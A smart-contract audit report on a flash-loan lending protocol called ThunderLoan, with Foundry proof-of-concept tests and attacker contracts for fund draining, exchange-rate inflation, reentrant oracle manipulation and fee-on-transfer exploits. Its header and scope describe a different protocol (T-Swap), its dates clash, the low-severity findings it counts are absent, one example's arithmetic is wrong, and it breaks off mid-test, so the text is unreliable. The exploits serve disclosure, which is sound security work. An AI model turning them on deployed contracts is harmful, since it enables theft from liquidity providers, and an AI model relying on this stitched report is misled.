Protocol Audit Report

Version 1.0

KiteWeb3

February 16, 2024

Protocol Audit Report

KiteWeb3

February 6th, 2024

Prepared by: KiteWeb3

Lead Security Researcher: KiteWeb3

Table of Contents

Protocol Summary

This project is meant to be a permissionless way for users to swap assets between each other at a fair price. You can think of T-Swap as a decentralized asset/token exchange (DEX).

Disclaimer

The KiteWeb3 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this documents correspond the following commit hash:

```
e643a8d4c2c802490976b538dd009b351b1c8dda
```

Scope

```
./src/
#-- PoolFactory.sol
#-- TSwapPool.sol
```

Roles

- Liquidity Providers: Users who have liquidity deposited into the pools. Their shares are represented by the LP ERC20 tokens. They gain a 0.3% fee every time a swap is made.

- Users: Users who want to swap tokens.

Executive Summary

Spent 16 hours. Tool used: manual review.

Issues found

Severity	Number of issue found
High	4
Medium	3
Low	3
Informational	0
Gas	0
Total	10

Findings

High Risk Findings

H-01. Storage Collision during upgrade

Summary

The thunderloanupgrade.sol storage layout is not compatible with the storage layout of thunderloan.sol which will cause storage collision and mismatch of variable to different data. ## Vulnerability Details Thunderloan.sol at slot 1,2 and 3 holds s_feePrecision, s_flashLoanFee and s_currentlyFlashLoaning, respectively, but the ThunderLoanUpgraded at slot 1 and 2 holds s_flashLoanFee, s_currentlyFlashLoaning respectively. The s_feePrecision from the thunderloan.sol was changed to a constant variable which will no longer be assessed from the state variable. This will cause the location at which the upgraded version will be pointing to for some significant state variables like s_flashLoanFee to be wrong because s_flashLoanFee is now pointing to the slot of the

s_feePrecision in the thunderloan.sol and when this fee is used to compute the fee for flashloan it will return a fee amount greater than the intention of the developer. s_currentlyFlashLoaning might not really be affected as it is back to default when a flashloan is completed but still to be noted that the value at that slot can be cleared to be on a safer side. ## Impact 1) Fee is miscalculated for flashloan 1) users pay same amount of what they borrowed as fee ## Tools Used foundry ##POC

```
function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());

        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");

        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("feeBeforeUpgrade", feeBeforeUpgrade);
        console.log("feeAfterUpgrade", feeAfterUpgrade);

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

Add the code above to thunderloantest.t.sol and run `forge test --mt testUpgradeBreaks -vv` to test

Recommendations

Make sure the the fee is pointing to the correct location as intended by the developer: a suggestion recommendation is for the team to get the feeValue from the previous implementation, clear the values that will not be needed again and after upgrade reset the fee back to its previous value from the implementation.

```
+ uint256 s_blank;
  uint256 private s_flashLoanFee;
  uint256 public constant FEE_PRECISION = 1e18;
```

H-02. Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

Summary

Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited.

Impact

Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all.

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token]; //represent
               the share of the pool
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7
8  @>        uint256 calculatedFee = getCalculatedFee(token, amount);
9  @>        assetToken.updateExchangeRate(calculatedFee);
10
11         token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
12     }
```

Recommendations

It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation.

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2      AssetToken assetToken = s_tokenToAssetToken[token];
3      uint256 exchangeRate = assetToken.getExchangeRate();
4      uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
           ) / exchangeRate;
5      emit Deposit(msg.sender, token, amount);
6      assetToken.mint(msg.sender, mintAmount);
7  -   uint256 calculatedFee = getCalculatedFee(token, amount);
8  -   assetToken.updateExchangeRate(calculatedFee);
9      token.safeTransferFrom(msg.sender, address(assetToken), amount);
10 }
```

Tools Used

- Manual Audit
- Foundry

POC

```
function testExchangeRateUpdatedOnDeposit() public setAllowedToken {
    tokenA.mint(liquidityProvider, AMOUNT);
    tokenA.mint(user, AMOUNT);

    // deposit some tokenA into ThunderLoan
    vm.startPrank(liquidityProvider);
    tokenA.approve(address(thunderLoan), AMOUNT);
    thunderLoan.deposit(tokenA, AMOUNT);
    vm.stopPrank();

    // another user also makes a deposit
    vm.startPrank(user);
    tokenA.approve(address(thunderLoan), AMOUNT);
    thunderLoan.deposit(tokenA, AMOUNT);
    vm.stopPrank();

    AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);

    // after a deposit, asset token's exchange rate has aleady
        increased
    // this is only supposed to happen when users take flash loans with
         underlying
    assertGt(assetToken.getExchangeRate(), 1 * assetToken.
        EXCHANGE_RATE_PRECISION());

    // now liquidityProvider withdraws and gets more back because
        exchange
    // rate is increased but no flash loans were taken out yet
    // repeatedly doing this could drain all underlying for any asset
        token
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider))
        ;
    vm.stopPrank();

    assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT);
}
```

H-03. fee are less for non standard ERC20 Token

Summary

Within the functions `ThunderLoan::getCalculatedFee()` and `ThunderLoanUpgraded::getCalculatedFee()`, an issue arises with the calculated fee value when dealing with non-standard ERC20 tokens. Specifically, the calculated value for non-standard tokens appears

significantly lower compared to that of standard ERC20 tokens. ## Vulnerability Details

//ThunderLoan.sol

```
 function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
@>        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(
   address(token))) / s_feePrecision;
@>        //slither-disable-next-line divide-before-multiply
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

```
//ThunderLoanUpgraded.sol

 function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
@>        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(
   address(token))) / FEE_PRECISION;
        //slither-disable-next-line divide-before-multiply
@>        fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION
   ;
    }
```

Impact

Let's say: - user_1 asks a flashloan for 1 ETH. - user_2 asks a flashloan for 2000 USDT.

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
   returns (uint256 fee) {

        //1 ETH = 1e18 WEI
        //2000 USDT = 2 * 1e9 WEI

        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
           (token))) / s_feePrecision;

        // valueOfBorrowedToken ETH = 1e18 * 1e18 / 1e18 WEI
        // valueOfBorrowedToken USDT= 2 * 1e9 * 1e18 / 1e18 WEI

        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;

        //fee ETH = 1e18 * 3e15 / 1e18 = 3e15 WEI = 0,003 ETH
        //fee USDT: 2 * 1e9 * 3e15 / 1e18 = 6e6 WEI = 0,000000000006
           ETH
    }
```

The fee for the user_2 are much lower then user_1 despite they asks a flashloan for the same value

(hypotesis 1 ETH = 2000 USDT).

Tools Used

Manual review

Recommendations

Adjust the precision accordinly with the allowed tokens considering that the non standard ERC20 haven't 18 decimals.

H-04. All the funds can be stolen if the flash loan is returned using deposit()

Summary

An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds.

Vulnerability Details

The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**.

Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**.

```
import { Attack } from "../mocks/attack.sol";
```

```
function testattack() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        vm.startPrank(user);
```

```
        tokenA.mint(address(attack), AMOUNT);
        thunderLoan.flashloan(address(attack), tokenA, amountToBorrow,
            "");
        attack.sendAssetToken(address(thunderLoan.getAssetFromToken(
            tokenA)));
        thunderLoan.redeem(tokenA, type(uint256).max);
        vm.stopPrank();

        assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken
            (tokenA))), DEPOSIT_AMOUNT);
    }
```

```
function setUp() public override {
        super.setUp();
        vm.prank(user);
        mockFlashLoanReceiver = new MockFlashLoanReceiver(address(
            thunderLoan));
        vm.prank(user);
        attack = new Attack(address(thunderLoan));
    }
```

attack.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
    ;
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
    SafeERC20.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/
    IFlashLoanReceiver.sol";

interface IThunderLoan {
    function repay(address token, uint256 amount) external;
    function deposit(IERC20 token, uint256 amount) external;
    function getAssetFromToken(IERC20 token) external;
}


contract Attack {
    error MockFlashLoanReceiver__onlyOwner();
    error MockFlashLoanReceiver__onlyThunderLoan();

    using SafeERC20 for IERC20;

    address s_owner;
    address s_thunderLoan;

    uint256 s_balanceDuringFlashLoan;
    uint256 s_balanceAfterFlashLoan;
```

```
26
27      constructor(address thunderLoan) {
28          s_owner = msg.sender;
29          s_thunderLoan = thunderLoan;
30          s_balanceDuringFlashLoan = 0;
31      }
32
33      function executeOperation(
34          address token,
35          uint256 amount,
36          uint256 fee,
37          address initiator,
38          bytes calldata /*  params */
39      )
40          external
41          returns (bool)
42      {
43          s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this
                ));
44
45          if (initiator != s_owner) {
46              revert MockFlashLoanReceiver__onlyOwner();
47          }
48
49          if (msg.sender != s_thunderLoan) {
50              revert MockFlashLoanReceiver__onlyThunderLoan();
51          }
52          IERC20(token).approve(s_thunderLoan, amount + fee);
53          IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee
                );
54          s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)
                );
55          return true;
56      }
57
58      function getbalanceDuring() external view returns (uint256) {
59          return s_balanceDuringFlashLoan;
60      }
61
62      function getBalanceAfter() external view returns (uint256) {
63          return s_balanceAfterFlashLoan;
64      }
65
66      function sendAssetToken(address assetToken) public {
67
68          IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).
                balanceOf(address(this)));
69      }
70  }
```

Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the

DEPOSIT_AMOUNT, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Tools Used Manual review. ## Recommendations Add a check in **deposit()** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **flashloan()** and checking it in **deposit()**.

Medium Risk Findings

M-01. 'ThunderLoan::setAllowedToken' can permanently lock liquidity providers out from redeeming their tokens

Summary

If the 'ThunderLoan::setAllowedToken' function is called with the intention of setting an allowed token to false and thus deleting the assetToken to token mapping; nobody would be able to redeem funds of that token in the 'ThunderLoan::redeem' function and thus have them locked away without access.

Vulnerability Details

If the owner sets an allowed token to false, this deletes the mapping of the asset token to that ERC20. If this is done, and a liquidity provider has already deposited ERC20 tokens of that type, then the liquidity provider will not be able to redeem them in the 'ThunderLoan::redeem' function.

```
1       function setAllowedToken(IERC20 token, bool allowed) external
           onlyOwner returns (AssetToken) {
2           if (allowed) {
3               if (address(s_tokenToAssetToken[token]) != address(0)) {
4                   revert ThunderLoan__AlreadyAllowed();
5               }
6               string memory name = string.concat("ThunderLoan ",
                   IERC20Metadata(address(token)).name());
7               string memory symbol = string.concat("tl", IERC20Metadata(
                   address(token)).symbol());
8               AssetToken assetToken = new AssetToken(address(this), token
                   , name, symbol);
9               s_tokenToAssetToken[token] = assetToken;
10              emit AllowedTokenSet(token, assetToken, allowed);
11              return assetToken;
12          } else {
13              AssetToken assetToken = s_tokenToAssetToken[token];
14  @>          delete s_tokenToAssetToken[token];
15              emit AllowedTokenSet(token, assetToken, allowed);
```

```
16              return assetToken;
17          }
18      }
```

```
1       function redeem(
2           IERC20 token,
3           uint256 amountOfAssetToken
4       )
5           external
6           revertIfZero(amountOfAssetToken)
7   @>      revertIfNotAllowedToken(token)
8       {
9           AssetToken assetToken = s_tokenToAssetToken[token];
10          uint256 exchangeRate = assetToken.getExchangeRate();
11          if (amountOfAssetToken == type(uint256).max) {
12              amountOfAssetToken = assetToken.balanceOf(msg.sender);
13          }
14          uint256 amountUnderlying = (amountOfAssetToken * exchangeRate)
                / assetToken.EXCHANGE_RATE_PRECISION();
15          emit Redeemed(msg.sender, token, amountOfAssetToken,
                amountUnderlying);
16          assetToken.burn(msg.sender, amountOfAssetToken);
17          assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
18      }
```

Impact

The below test passes with a ThunderLoan__NotAllowedToken error. Proving that a liquidity provider cannot redeem their deposited tokens if the setAllowedToken is set to false, Locking them out of their tokens.

```
1       function testCannotRedeemNonAllowedTokenAfterDepositingToken()
            public {
2           vm.prank(thunderLoan.owner());
3           AssetToken assetToken = thunderLoan.setAllowedToken(tokenA,
                true);
4
5           tokenA.mint(liquidityProvider, AMOUNT);
6           vm.startPrank(liquidityProvider);
7           tokenA.approve(address(thunderLoan), AMOUNT);
8           thunderLoan.deposit(tokenA, AMOUNT);
9           vm.stopPrank();
10
11          vm.prank(thunderLoan.owner());
12          thunderLoan.setAllowedToken(tokenA, false);
13
14          vm.expectRevert(abi.encodeWithSelector(ThunderLoan.
                ThunderLoan__NotAllowedToken.selector, address(tokenA)));
```

```
15          vm.startPrank(liquidityProvider);
16          thunderLoan.redeem(tokenA, AMOUNT_LESS);
17          vm.stopPrank();
18      }
```

Tools Used

–Foundry

Recommendations

It would be suggested to add a check if that assetToken holds any balance of the ERC20, if so, then you cannot remove the mapping.

```
1       function setAllowedToken(IERC20 token, bool allowed) external
            onlyOwner returns (AssetToken) {
2           if (allowed) {
3               if (address(s_tokenToAssetToken[token]) != address(0)) {
4                   revert ThunderLoan__AlreadyAllowed();
5               }
6               string memory name = string.concat("ThunderLoan ",
                    IERC20Metadata(address(token)).name());
7               string memory symbol = string.concat("tl", IERC20Metadata(
                    address(token)).symbol());
8               AssetToken assetToken = new AssetToken(address(this), token
                    , name, symbol);
9               s_tokenToAssetToken[token] = assetToken;
10              emit AllowedTokenSet(token, assetToken, allowed);
11              return assetToken;
12          } else {
13              AssetToken assetToken = s_tokenToAssetToken[token];
14  +           uint256 hasTokenBalance = IERC20(token).balanceOf(address(
        assetToken));
15  +           if (hasTokenBalance == 0) {
16                  delete s_tokenToAssetToken[token];
17                  emit AllowedTokenSet(token, assetToken, allowed);
18  +           }
19              return assetToken;
20          }
21      }
```

M-02. Attacker can minimize `ThunderLoan::flashloan` fee via price oracle manipulation

Vulnerability details

In `ThunderLoan::flashloan` the price of the `fee` is calculated on line 192 using the method `ThunderLoan::getCalculatedFee`:

```
uint256 fee = getCalculatedFee(token, amount);
```

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
    //slither-disable-next-line divide-before-multiply
    uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(
        token))) / s_feePrecision;
    //slither-disable-next-line divide-before-multiply
    fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
```

`getCalculatedFee()` uses the function `OracleUpgradeable::getPriceInWeth` to calculate the price of a single underlying token in WETH:

```
function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token
        );
    return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```

This function gets the address of the token-WETH pool, and calls `TSwapPool::getPriceOfOnePoolTokenInWet` on the pool. This function's behavior is dependent on the implementation of the `ThunderLoan::initialize` argument `tswapAddress` but it can be assumed to be a constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation.

If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than `s_feePrecision`, resulting in a minimal value for `valueOfBorrowedToken`:

```
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))
    ) / s_feePrecision;
```

Since a value of `0` for the `fee` would revert as `assetToken.updateExchangeRate(fee);` would revert since there is a check ensuring that the exchange rate increases, which with a `0` fee,

the exchange rate would stay the same, hence the function will revert:

```
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
    // 1. Get the current exchange rate
    // 2. How big the fee is should be divided by the total supply
    // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multiplied by 1.5
    // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125
    // it should always go up, never down
    // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply
    // newExchangeRate = 1 (4 + 0.5) / 4
    // newExchangeRate = 1.125
    uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();

    // newExchangeRate = s_exchangeRate + fee/totalSupply();

    if (newExchangeRate <= s_exchangeRate) {
        revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate);
    }
    s_exchangeRate = newExchangeRate;
    emit ExchangeRateUpdated(s_exchangeRate);
}
```

`flashloan()` can be reentered on line 201-210:

```
receiverAddress.functionCall(
    abi.encodeWithSignature(
        "executeOperation(address,uint256,uint256,address,bytes)",
        address(token),
        amount,
        fee,
        msg.sender,
        params
    )
);
```

This means that an attacking contract can perform an attack by:

1. Calling `flashloan()` with a sufficiently small value for `amount`
2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the `executionOperation` callback
3. Re-calling `flashloan()` this time with a large value for `amount` but now the `fee` will be minimal, regardless of the size of the loan.
4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small ‘fees for an arbitrarily large loan.

Impact

An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either:

1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price.
2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small.

The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding.

Proof of concept

Working test case

The attacking contract implements an `executeOperation` function which, when called via the `ThunderLoan` contract, will perform the following sequence of function calls:

- Calls the mock pool contract to set the price (simulating manipulating the price)
- Repay the initial loan
- Re-calls `flashloan`, taking a large loan now with a reduced fee
- Repay second loan

```
1  // SPDX-License-Identifier: MIT
2  pragma solidity 0.8.20;
3
4  import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
       ;
5  import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
       SafeERC20.sol";
6  import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/
       IFlashLoanReceiver.sol";
7  import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
       ;
8  import { MockTSwapPool } from "./MockTSwapPool.sol";
9  import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
10
```

```
11 contract AttackFlashLoanReceiver {
12     error AttackFlashLoanReceiver__onlyOwner();
13     error AttackFlashLoanReceiver__onlyThunderLoan();
14
15     using SafeERC20 for IERC20;
16
17     address s_owner;
18     address s_thunderLoan;
19
20     uint256 s_balanceDuringFlashLoan;
21     uint256 s_balanceAfterFlashLoan;
22
23     uint256 public attackAmount = 1e20;
24     uint256 public attackFee1;
25     uint256 public attackFee2;
26     address tSwapPool;
27     IERC20 tokenA;
28
29     constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA
           ) {
30         s_owner = msg.sender;
31         s_thunderLoan = thunderLoan;
32         s_balanceDuringFlashLoan = 0;
33         tSwapPool = _tSwapPool;
34         tokenA = _tokenA;
35     }
36
37     function executeOperation(
38         address token,
39         uint256 amount,
40         uint256 fee,
41         address initiator,
42         bytes calldata params
43     )
44         external
45         returns (bool)
46     {
47         s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this
               ));
48
49         // check if it is the first time through the reentrancy
50         bool isFirst = abi.decode(params, (bool));
51
52         if (isFirst) {
53             // Manipulate the price
54             MockTSwapPool(tSwapPool).setPrice(1e15);
55             // repay the initial, small loan
56             IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6);
57             IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 +
                   attackFee1);
58             ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA,
```

```
                    attackAmount, abi.encode(false));
59              attackFee1 = fee;
60              return true;
61          } else {
62              attackFee2 = fee;
63              // simulate withdrawing the funds from the price pool
64             //MockTSwapPool(tSwapPool).setPrice(1e18);
65              // repay the second, large low fee loan
66              IERC20(token).approve(s_thunderLoan, attackAmount +
                    attackFee2);
67              IThunderLoan(s_thunderLoan).repay(address(tokenA),
                    attackAmount + attackFee2);
68              return true;
69          }
70      }
71
72      function getbalanceDuring() external view returns (uint256) {
73          return s_balanceDuringFlashLoan;
74      }
75
76      function getBalanceAfter() external view returns (uint256) {
77          return s_balanceAfterFlashLoan;
78      }
79  }
```

The following test first calls `flashloan()` with the attacking contract, the `executeOperation()` callback then executes the attack.

```
1   function test_poc_smallFeeReentrancy() public setAllowedToken
        hasDeposits {
2       uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price()
            ;
3       console.log("price before: ", price);
4       // borrow a large amount to perform the price oracle manipulation
5       uint256 amountToBorrow = 1e6;
6       bool isFirstCall = true;
7       bytes memory params = abi.encode(isFirstCall);
8
9       uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA,
            attackFlashLoanReceiver.attackAmount());
10
11      // Give the attacking contract reserve tokens for the price oracle
            manipulation & paying fees
12      // For a less funded attacker, they could use the initial flash
            loan to perform the manipulation but pay a higher initial fee
13      tokenA.mint(address(attackFlashLoanReceiver), AMOUNT);
14
15      vm.startPrank(user);
16      thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA,
            amountToBorrow, params);
17      vm.stopPrank();
```

```
18      assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2());
19      uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).
            price();
20      console.log("price after: ", priceAfter);
21
22      console.log("expectedSecondFee: ", expectedSecondFee);
23      console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2());
24      console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1());
25  }
```

```
1  $ forge test --mt test_poc_smallFeeReentrancy -vvvv
2
3  // output
4  Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
5  [PASS] test_poc_smallFeeReentrancy() (gas: 1162442)
6  Logs:
7    price before:  1000000000000000000
8    price after:  1000000000000000
9    expectedSecondFee:  300000000000000000
10   attackFee2:  300000000000000
11   attackFee1:  3000
12 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms
```

Since the test passed, the fee has been successfully reduced due to price oracle manipulation.

Recommended mitigation

Use a manipulation-resistant oracle such as Chainlink.

Tools used

- Forge

M-03. `ThunderLoan:: deposit` is not compatible with Fee tokens and could be exploited by draining other users funds, Making Other user Looses there deposit and yield

Summary

`deposit` function do not account the amount for fee tokens, which leads to minting more Asset tokens. These tokens can be used to claim more tokens of underlying asset then it's supposed to be. ## Vulnerability Details Some ERC20 tokens have fees implemented like autoLP Fee, marketing fee etc. So when someone send say 100 tokens and fees 0.3%, then receiver will get only 99.7 tokens.

`Deposit` function mint the tokens that user has inputted in the params and mint the same amount of Asset token.

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4      @>  uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7          uint256 calculatedFee = getCalculatedFee(token, amount);
8          assetToken.updateExchangeRate(calculatedFee);
9          token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
10     }
```

As you can see in highlighted line, It calculates the token amount based on `amount` rather actual token amount received by the contract. If any fees token is supplied to contract, then `redeem` function will revert (due to insufficient funds) or if there are multiple users who supplied this token, then some users won't be able to withdraw there underlying token ever.

Proof of Concept

Token like `STA` and `PAXG` has fees on every transfer which means token receiver will receive less token amount than the amount being sent. Let's consider example of `STA` here which has 1% fees on every transfer. When user put 100 tokens as input, then contract will receive only 99 tokens, as 1% being goes to burn address (as per STA token contract design). User will be getting Asset token amount based on input amount.

```
1   uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
        exchangeRate;
```

`Alice` initiate a transaction to call `deposit` with 1 million `STA`. `Attacker` notice the transaction and `deposit` 2 million `STA` before him. So contract will be receive 990,000 tokens from `Alice` and 198000 tokens from attacker.

Now attacker call withdraw the `STA` token using all Asset tokens amount he received while depositing. Attacker get's 1% more than he supposed to be, As fee is deducted from contract. Alice won't be able to claim her underlying amount that she supposed to be. It make more sense for attacker to call it, as token fee is being accrued to him.

Here is given example in foundry where we set asset token which has 1% fees. in `BaseTest.t.sol` we import custom erc20 for underlying token creation which has 1% fees on transfers.

CUSTOM MOCK TOKEN

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ERC20} from "../token/ERC20/ERC20.sol";

contract CustomERC20Mock is ERC20 {
    constructor() ERC20("ERC20Mock", "E20M") {}

    function mint(address account, uint256 amount) external {
        _mint(account, amount);
    }

    function burn(address account, uint256 amount) external {
        _burn(account, amount);
    }

    function _transfer(address from, address to, uint256 amount)
       internal override {
        _burn(from, amount/100);
        super._transfer(from, to, amount - (amount/100));
    }
}
```

updated `BaseTest.t.sol` file

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

  import { Test, console } from "forge-std/Test.sol";
  import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
  import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.
     sol";
  import { MockTSwapPool } from "../mocks/MockTSwapPool.sol";
  import { MockPoolFactory } from "../mocks/MockPoolFactory.sol";
+ import { CustomERC20Mock } from "../mocks/CustomERC20Mock.sol";
  import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/
     ERC1967Proxy.sol";

contract BaseTest is Test {
    ThunderLoan thunderLoanImplementation;
    MockPoolFactory mockPoolFactory;
    ERC1967Proxy proxy;
    ThunderLoan thunderLoan;

    ERC20Mock weth;
-   ERC20Mock tokenA;
+   CustomERC20Mock tokenA;

    function setUp() public virtual {
```

```
23          thunderLoan = new ThunderLoan();
24          mockPoolFactory = new MockPoolFactory();
25
26          weth = new ERC20Mock();
27  -       tokenA = new ERC20Mock();
28  +       tokenA = new CustomERC20Mock();
29
30          mockPoolFactory.createPool(address(tokenA));
31          proxy = new ERC1967Proxy(address(thunderLoan), "");
32          thunderLoan = ThunderLoan(address(proxy));
33          thunderLoan.initialize(address(mockPoolFactory));
34      }
35  }
```

```
1  // SPDX-License-Identifier: MIT
2  pragma solidity 0.8.20;
3
4  import { Test, console2 } from "forge-std/Test.sol";
5  import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
6  import { AssetToken } from "../../src/protocol/AssetToken.sol";
7  import { MockFlashLoanReceiver } from "../mocks/MockFlashLoanReceiver.
       sol";
8
9  contract ThunderLoanTest is BaseTest {
10     uint256 constant ALICE_AMOUNT = 1e7 * 1e18;
11     uint256 constant ATTACKER_AMOUNT = 2e7 * 1e18;
12     address attacker = address(789);
13     address alice = address(0x123);
14     MockFlashLoanReceiver mockFlashLoanReceiver;
15
16     function setUp() public override {
17         super.setUp();
18         vm.prank(user);
19         mockFlashLoanReceiver = new MockFlashLoanReceiver(address(
               thunderLoan));
20     }
21
22 function testAttackerGettingMoreTokens() public setAllowedToken {
23         tokenA.mint(attacker, ATTACKER_AMOUNT);
24         tokenA.mint(alice, ALICE_AMOUNT);
25         vm.startPrank(attacker);
26         tokenA.approve(address(thunderLoan), ATTACKER_AMOUNT);
